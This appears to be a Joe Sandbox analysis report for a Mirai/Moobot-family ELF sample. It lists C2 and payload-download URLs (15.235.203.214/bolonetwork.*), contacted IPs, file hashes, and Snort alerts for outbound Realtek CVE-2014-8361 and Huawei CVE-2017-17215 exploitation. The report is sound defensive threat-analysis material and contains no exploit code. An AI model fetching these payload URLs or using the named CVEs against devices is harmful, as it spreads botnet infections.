http://127.0.0.1:52869/wanipcn.xml	0%	Avira URL Cloud	safe
http://15.235.203.214/bolonetwork.mips	100%	Avira URL Cloud	malware
http://purenetworks.com/HNAP1/	2%	Virustotal		Browse
http://127.0.0.1:52869/picdesc.xml	1%	Virustotal		Browse
http://127.0.0.1:52869/wanipcn.xml	1%	Virustotal		Browse
http://15.235.203.214/bolonetwork.mips	7%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
vector.mineheaven.org	15.235.203.214	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:52869/picdesc.xml	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/wanipcn.xml	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	K8vjjv1Tcx.elf	false	URL Reputation: safe URL Reputation: safe	unknown
http://15.235.203.214/bolonetwork.mips	K8vjjv1Tcx.elf	false	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://purenetworks.com/HNAP1/	K8vjjv1Tcx.elf	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://15.235.203.214/bolonetwork.x86	K8vjjv1Tcx.elf	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/envelope/	K8vjjv1Tcx.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
32.90.4.32	unknown	United States	2686	ATGS-MMD-ASUS	true
203.131.200.43	unknown	Japan	17707	DATAHOTEL-JPASforDATAHOTELwhichisoneofiDCinJapan	true
13.42.110.167	unknown	United States	7018	ATT-INTERNET4US	false
88.178.28.212	unknown	France	12322	PROXADFR	false
210.187.113.21	unknown	Malaysia	4788	TMNET-AS-APTMNetInternetServiceProviderMY	false
5.107.20.80	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	false
46.169.163.18	unknown	Poland	8374	PLUSNETPlusnetworkoperatorinPolandPL	false
95.194.102.216	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
53.45.21.199	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
138.42.234.53	unknown	United States	786	JANETJiscServicesLimitedGB	false
54.46.234.30	unknown	United States	14618	AMAZON-AESUS	true
8.153.130.54	unknown	Singapore	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
129.175.242.58	unknown	France	2269	FR-U-PARISSUD-ORSAYFREU	false
95.169.38.32	unknown	Norway	29492	EIDSIVA-ASNNO	false
99.58.50.105	unknown	United States	7018	ATT-INTERNET4US	true
166.193.69.13	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
152.157.68.158	unknown	United States	27183	NSD417US	false
188.88.51.14	unknown	Netherlands	31615	TMO-NL-ASNL	false
160.130.172.45	unknown	United States	8103	STATE-OF-FLAUS	false
90.232.33.214	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
136.62.149.51	unknown	United States	16591	GOOGLE-FIBERUS	false
123.45.206.155	unknown	Korea Republic of	6619	SAMSUNGSDS-AS-KRSamsungSDSIncKR	false
54.86.171.206	unknown	United States	14618	AMAZON-AESUS	false
157.205.95.182	unknown	Japan	17514	AICSOtsukaCorpJP	false
41.91.105.145	unknown	Egypt	33771	SAFARICOM-LIMITEDKE	false
112.235.0.244	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
66.134.230.3	unknown	United States	18566	MEGAPATH5-US	false
88.185.179.196	unknown	France	12322	PROXADFR	false
91.183.34.180	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
95.168.135.246	unknown	Germany	20880	TELECOLUMBUSDE	false
134.246.13.116	unknown	France	2103	FR-IFREMER-BRESTIFREMERCentredeBrestEU	true
157.155.244.83	unknown	Australia	17983	COLESMYER-AS-APColesMyerAU	false
219.233.26.136	unknown	China	9812	CNNIC-CN-COLNETOrientalCableNetworkCoLtdCN	false
95.50.205.75	unknown	Poland	5617	TPNETPL	false
95.35.11.127	unknown	Israel	1680	NV-ASNCELLCOMltdIL	false
47.102.47.49	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
175.145.228.250	unknown	Malaysia	4788	TMNET-AS-APTMNetInternetServiceProviderMY	false
197.93.68.101	unknown	South Africa	10474	OPTINETZA	false
5.73.227.65	unknown	Iran (ISLAMIC Republic Of)	57218	RIGHTELIR	false
24.126.136.251	unknown	United States	7922	COMCAST-7922US	false
129.167.20.9	unknown	United States	297	AS297US	false
157.35.254.29	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
197.221.180.233	unknown	South Africa	37356	O-TelZA	false
95.131.228.101	unknown	Russian Federation	20533	SAKHTEL-ASRU	false
88.236.137.200	unknown	Turkey	9121	TTNETTR	false
157.76.16.39	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
50.224.65.140	unknown	United States	7922	COMCAST-7922US	false
41.239.240.169	unknown	Egypt	8452	TE-ASTE-ASEG	false
122.57.249.17	unknown	New Zealand	4771	SPARKNZSparkNewZealandTradingLtdNZ	false
53.239.4.87	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
131.244.225.51	unknown	Australia	24436	UQ-AS-APUniversityofQueenslandAU	false
95.104.175.150	unknown	Russian Federation	29190	OVERTA-ASRU	false
168.53.110.168	unknown	United States	1761	TDIR-CAPNETUS	false
93.240.35.99	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
204.144.146.246	unknown	United States	22658	EARTHNETUS	false
136.40.155.124	unknown	United States	16591	GOOGLE-FIBERUS	false
117.59.109.0	unknown	China	17969	CNNIC-KUANCOM-APBeijingKuancomNetworkTechnologyCoLtd	false
34.24.241.58	unknown	United States	2686	ATGS-MMD-ASUS	false
81.37.239.224	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
173.79.90.185	unknown	United States	701	UUNETUS	true
41.18.248.215	unknown	South Africa	29975	VODACOM-ZA	false
62.99.13.83	unknown	Spain	12338	EUSKALTELES	false
95.77.187.244	unknown	Romania	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
208.125.164.236	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
51.133.60.102	unknown	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
198.187.16.149	unknown	United States	4193	WA-STATE-GOVUS	false
95.251.59.206	unknown	Italy	3269	ASN-IBSNAZIT	false
95.80.184.76	unknown	Iran (ISLAMIC Republic Of)	48431	MAXNET-ASIR	false
222.227.236.170	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
69.46.94.219	unknown	United States	18779	EGIHOSTINGUS	false
135.106.73.121	unknown	United States	14962	NCR-252US	false
125.90.137.252	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
88.89.243.215	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
143.129.50.39	unknown	Belgium	2611	BELNETBE	false
88.40.27.42	unknown	Italy	3269	ASN-IBSNAZIT	false
89.205.161.221	unknown	Netherlands	31615	TMO-NL-ASNL	false
109.62.164.191	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
66.162.174.146	unknown	United States	3549	LVLT-3549US	false
185.229.129.7	unknown	Finland	1741	FUNETASFI	false
76.184.116.222	unknown	United States	11427	TWC-11427-TEXASUS	false
94.148.40.185	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
27.35.56.202	unknown	Korea Republic of	9762	HCN-ASHYUNDAICOMMUNICATIONSNETWORKKR	false
95.212.120.213	unknown	Egypt	51167	CONTABODE	false
176.85.189.232	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
195.226.70.241	unknown	Germany	9197	BECOMGMBH-ASGermanyD-35578WetzlarDE	false
96.186.231.109	unknown	United States	7922	COMCAST-7922US	true
147.6.87.48	unknown	Korea Republic of	9760	KTISKoreaTelecomKR	false
13.122.171.86	unknown	United States	16509	AMAZON-02US	false
98.70.129.196	unknown	United States	7018	ATT-INTERNET4US	false
138.163.103.112	unknown	United States	665	DNIC-ASBLK-00616-00665US	false
177.106.200.27	unknown	Brazil	53006	ALGARTELECOMSABR	false
193.88.243.103	unknown	Denmark	3292	TDCTDCASDK	false
71.98.237.227	unknown	United States	5650	FRONTIER-FRTRUS	false
95.175.1.209	unknown	Poland	33951	FORWEBLocalinternetprovidercityLodzinPolandPL	false
192.62.180.18	unknown	United States	unknown	unknown	false
197.91.32.62	unknown	South Africa	10474	OPTINETZA	false
54.11.15.117	unknown	United States	14618	AMAZON-AESUS	false
23.41.209.174	unknown	United States	12956	TELEFONICATELXIUSES	false
112.246.245.4	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
114.131.26.227	unknown	Thailand	17806	MANGOTELESERVICE-AS-BDTire-1IPTransitProviderofBanglad	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
95.169.38.32	JpqWDzjIQW.elf	Get hash	malicious	Mirai	Browse
197.221.180.233	uczB6y2FRj.elf	Get hash	malicious	Mirai	Browse
	SEeAI7lWdZ	Get hash	malicious	Mirai	Browse
	rQ04dnvZou	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
vector.mineheaven.org	faBNhIKHq4.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	15.235.203.214
	U6YcZ2TLtT.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	15.235.203.214
	EVnD2SuX13.elf	Get hash	malicious	Mirai, Okiru	Browse	15.235.203.214
	ts2d2a5oFa.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	15.235.203.214
	EKi4eGLprr.elf	Get hash	malicious	Mirai, Okiru	Browse	15.235.203.214
	http://15.235.203.214/bolonetwork.x86	Get hash	malicious	Unknown	Browse	15.235.203.214

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ATT-INTERNET4US	faBNhIKHq4.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	99.161.69.48
	EVnD2SuX13.elf	Get hash	malicious	Mirai, Okiru	Browse	13.155.19.253
	ts2d2a5oFa.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	75.35.125.59
	EKi4eGLprr.elf	Get hash	malicious	Mirai, Okiru	Browse	32.52.72.232
	http://15.235.203.214/bolonetwork.x86	Get hash	malicious	Unknown	Browse	155.106.140.148
	92.249.48.47-skid.ppc-2024-07-20T09_04_20.elf	Get hash	malicious	Mirai, Moobot	Browse	107.131.217.172
	92.249.48.47-skid.arm7-2024-07-20T09_04_19.elf	Get hash	malicious	Mirai, Moobot	Browse	12.17.3.69
	92.249.48.47-skid.arm-2024-07-20T09_04_18.elf	Get hash	malicious	Mirai, Moobot	Browse	12.170.21.83
	92.249.48.47-skid.x86_64-2024-07-20T09_04_18.elf	Get hash	malicious	Mirai, Moobot	Browse	99.132.123.51
	92.249.48.47-skid.x86-2024-07-20T09_04_17.elf	Get hash	malicious	Mirai, Moobot	Browse	107.124.158.138
DATAHOTEL-JPASforDATAHOTELwhichisoneofiDCinJapan	06V2RO89xu.elf	Get hash	malicious	Mirai	Browse	125.6.182.146
	ia54Vyu1GO.elf	Get hash	malicious	Mirai	Browse	125.6.110.47
	trxCo4P1wV.elf	Get hash	malicious	Mirai	Browse	125.6.134.32
	ACtk7VdYkV.elf	Get hash	malicious	Mirai	Browse	203.104.220.222
	na.elf	Get hash	malicious	Mirai	Browse	125.6.15.144
	n5vjWNCONy.elf	Get hash	malicious	Mirai	Browse	125.6.110.32
	ZgSQ1wUeNR.elf	Get hash	malicious	Mirai	Browse	125.6.134.213
	8HO4tSfzl3.elf	Get hash	malicious	Mirai, Moobot	Browse	133.223.193.138
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	125.6.110.27
	jklarm7.elf	Get hash	malicious	Mirai	Browse	125.6.110.70
ATGS-MMD-ASUS	U6YcZ2TLtT.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	48.250.42.75
	EVnD2SuX13.elf	Get hash	malicious	Mirai, Okiru	Browse	51.247.69.187
	ts2d2a5oFa.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	48.240.84.33
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	34.149.100.209
	file.exe	Get hash	malicious	Babadeda	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	34.160.144.191
PROXADFR	faBNhIKHq4.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	88.189.21.70
	U6YcZ2TLtT.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	88.167.250.107
	EVnD2SuX13.elf	Get hash	malicious	Mirai, Okiru	Browse	88.126.112.197
	ts2d2a5oFa.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	88.188.103.1
	http://15.235.203.214/bolonetwork.x86	Get hash	malicious	Unknown	Browse	88.123.3.31
	92.249.48.47-skid.arm7-2024-07-20T09_04_19.elf	Get hash	malicious	Mirai, Moobot	Browse	88.121.13.21
	92.249.48.47-skid.x86_64-2024-07-20T09_04_18.elf	Get hash	malicious	Mirai, Moobot	Browse	88.189.0.199
	92.249.48.47-skid.mpsl-2024-07-20T09_04_17.elf	Get hash	malicious	Mirai, Moobot	Browse	82.229.234.129
	92.249.48.47-skid.m68k-2024-07-20T09_04_20.elf	Get hash	malicious	Mirai, Moobot	Browse	78.194.107.44
	Qa5qvgWyUn.elf	Get hash	malicious	Mirai	Browse	78.194.144.61

Process:	/tmp/K8vjjv1Tcx.elf
File Type:	data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.364857659740295
Encrypted:	false
SSDEEP:	3:TggPPYxjDlKuqpWOJn:TgKPYxjDlKuQ
MD5:	8779328FCB9B9E5753BFC8B4F3FA0474
SHA1:	46003B547108DD571B23420C317085A6BB88B768
SHA-256:	A683F422B01F8FE1B951C2C486B6140B75A916C5B2A7614B5682C7BA1F64EA9A
SHA-512:	E189550C2AE412445352317C242AD732BC7BEE30A3B6E522C898BB7AAF3305654DBB9C7210343F377753D04A0498BB64CE32CC4E0BA3E866CC893006C5E960C4
Malicious:	false
Reputation:	low
Preview:	/tmp/K8vjjv1Tcx.elf./tmp/owfrxsjybl

Static File Info

General

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.415868535384371
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	K8vjjv1Tcx.elf
File size:	146'304 bytes
MD5:	7930e33e5a4381a579148d2205060ba4
SHA1:	1020a2de3732f942eee92b2c3df69891dbdc1541
SHA256:	684ba6ec7fc3e0595aceabbc1039a98eaca613860dfa2eaf5f84574cc40bda14
SHA512:	53ce7bf17ff62248b5c0b11c58173bbd86db8477847979569d0fed8e231a4e43c6bd71add3fab3a8b3b10153578165f6a1d230737937086130c180f3ce9d17a1
SSDEEP:	3072:qqxAKSRsBqzY3soVD3TR97zx6WfuOeijt:qqAzcf8oVD3l5xnfneu
TLSH:	68E36B73D8266E54C155C1B4B034DF782B53D99582472FBE6AA3C2B54083DCAFA09BF8
File Content Preview:	.ELF.....................@.4....9......4. ...(...............@...@.<...<...............@...@.B.@.B.DI..............Q.td............................././"O.n........#.@........#.*@l....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	145864
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0x1b580	0x0	0x6	AX	32
.fini	PROGBITS	0x41b660	0x1b660	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x41b684	0x1b684	0x39b8	0x0	0x2	A	4
.ctors	PROGBITS	0x42f040	0x1f040	0xc	0x0	0x3	WA	4
.dtors	PROGBITS	0x42f04c	0x1f04c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x42f060	0x1f060	0x4910	0x0	0x3	WA	32
.got	PROGBITS	0x433970	0x23970	0x14	0x4	0x3	WA	4
.bss	NOBITS	0x433984	0x23984	0xc794	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x23984	0x43	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x1f03c	0x1f03c	6.9492	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x1f040	0x42f040	0x42f040	0x4944	0x110d8	0.4200	0x6	RW	0x10000	.ctors .dtors .data .got .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/20/24-23:05:56.962614	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43970	52869	192.168.2.13	140.105.115.242
07/20/24-23:05:52.258489	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47662	37215	192.168.2.13	123.45.206.155
07/20/24-23:05:47.480999	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47722	52869	192.168.2.13	194.72.202.29
07/20/24-23:05:52.218581	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43786	37215	192.168.2.13	41.149.199.138
07/20/24-23:05:46.915618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42962	37215	192.168.2.13	197.151.5.99
07/20/24-23:05:46.978421	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53428	37215	192.168.2.13	41.198.164.117
07/20/24-23:05:47.491665	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42966	52869	192.168.2.13	93.187.137.171
07/20/24-23:05:51.487087	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50738	52869	192.168.2.13	196.5.188.187
07/20/24-23:05:52.269606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41260	37215	192.168.2.13	41.9.111.213
07/20/24-23:05:52.192507	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46004	37215	192.168.2.13	157.89.46.226
07/20/24-23:05:46.915618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48028	37215	192.168.2.13	52.192.132.102
07/20/24-23:05:51.419963	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59900	52869	192.168.2.13	80.48.49.198
07/20/24-23:05:51.441209	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59938	52869	192.168.2.13	136.24.70.56
07/20/24-23:05:46.915618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53674	37215	192.168.2.13	41.166.221.172
07/20/24-23:05:52.212387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41452	37215	192.168.2.13	99.239.249.88
07/20/24-23:05:47.429952	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37800	52869	192.168.2.13	81.130.219.80
07/20/24-23:05:51.419963	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49718	52869	192.168.2.13	134.55.152.47
07/20/24-23:05:46.575567	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38934	52869	192.168.2.13	89.229.96.227
07/20/24-23:05:52.261192	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47048	37215	192.168.2.13	197.83.252.72
07/20/24-23:05:46.919504	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39112	37215	192.168.2.13	157.19.78.216
07/20/24-23:05:52.256968	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40700	37215	192.168.2.13	41.21.191.229
07/20/24-23:05:51.428628	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34772	52869	192.168.2.13	62.80.115.9
07/20/24-23:05:52.256968	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58740	37215	192.168.2.13	41.241.237.206
07/20/24-23:05:47.533598	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54002	37215	192.168.2.13	41.231.6.176
07/20/24-23:05:51.423445	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49614	52869	192.168.2.13	204.151.222.243
07/20/24-23:05:46.970753	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34694	37215	192.168.2.13	157.221.20.7
07/20/24-23:05:47.449837	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60188	52869	192.168.2.13	92.253.193.163
07/20/24-23:05:51.492271	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44096	52869	192.168.2.13	54.82.97.176
07/20/24-23:05:47.533810	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36226	37215	192.168.2.13	197.221.35.92
07/20/24-23:05:46.918114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34876	37215	192.168.2.13	41.173.78.130
07/20/24-23:05:51.420131	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40190	52869	192.168.2.13	220.159.9.134
07/20/24-23:05:51.418369	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50906	52869	192.168.2.13	131.82.186.16
07/20/24-23:05:46.961659	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43454	37215	192.168.2.13	32.90.4.32
07/20/24-23:05:56.962614	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43970	52869	192.168.2.13	140.105.115.242
07/20/24-23:05:46.970753	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35644	37215	192.168.2.13	157.117.152.206
07/20/24-23:05:41.654163	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	53110	2466	192.168.2.13	15.235.203.214
07/20/24-23:05:47.536680	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44046	37215	192.168.2.13	85.61.71.33
07/20/24-23:05:46.978420	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38152	37215	192.168.2.13	27.97.182.214
07/20/24-23:05:46.926640	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45404	37215	192.168.2.13	197.64.13.247
07/20/24-23:05:47.491665	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42966	52869	192.168.2.13	93.187.137.171
07/20/24-23:05:46.981573	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45560	37215	192.168.2.13	145.164.204.137
07/20/24-23:05:51.461470	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34294	52869	192.168.2.13	78.110.167.93
07/20/24-23:05:51.421877	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56524	52869	192.168.2.13	106.225.80.214
07/20/24-23:05:46.575567	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38934	52869	192.168.2.13	89.229.96.227
07/20/24-23:05:46.978420	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48874	37215	192.168.2.13	197.172.54.205
07/20/24-23:05:52.311537	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56866	37215	192.168.2.13	197.90.91.61
07/20/24-23:05:46.918113	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43666	37215	192.168.2.13	157.16.82.82
07/20/24-23:05:46.973669	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58152	37215	192.168.2.13	111.65.179.96
07/20/24-23:05:46.981573	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46640	37215	192.168.2.13	41.190.71.241
07/20/24-23:05:51.418934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33116	52869	192.168.2.13	159.113.67.133
07/20/24-23:05:46.975762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35116	37215	192.168.2.13	137.106.194.233
07/20/24-23:05:47.449837	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60188	52869	192.168.2.13	92.253.193.163
07/20/24-23:05:52.227948	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41092	37215	192.168.2.13	105.121.201.134
07/20/24-23:05:46.926640	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49298	37215	192.168.2.13	41.94.29.29
07/20/24-23:05:52.227948	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54242	37215	192.168.2.13	41.101.4.186
07/20/24-23:05:46.926640	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45292	37215	192.168.2.13	41.35.231.73
07/20/24-23:05:51.423445	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50056	52869	192.168.2.13	102.46.199.20
07/20/24-23:05:52.214852	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50284	37215	192.168.2.13	197.18.60.239
07/20/24-23:05:47.406342	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52194	52869	192.168.2.13	162.187.150.19
07/20/24-23:05:46.975762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45734	37215	192.168.2.13	213.65.11.119
07/20/24-23:05:52.251312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40840	37215	192.168.2.13	41.176.89.70
07/20/24-23:05:51.418934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35100	52869	192.168.2.13	73.83.129.52
07/20/24-23:05:51.427522	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54622	52869	192.168.2.13	218.45.227.32
07/20/24-23:05:54.765418	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37458	52869	192.168.2.13	58.227.194.202
07/20/24-23:05:51.418934	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44836	52869	192.168.2.13	171.175.125.48
07/20/24-23:05:46.975762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55824	37215	192.168.2.13	191.78.129.32
07/20/24-23:05:52.256968	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33746	37215	192.168.2.13	205.198.86.28
07/20/24-23:05:52.264315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40364	37215	192.168.2.13	41.235.229.227
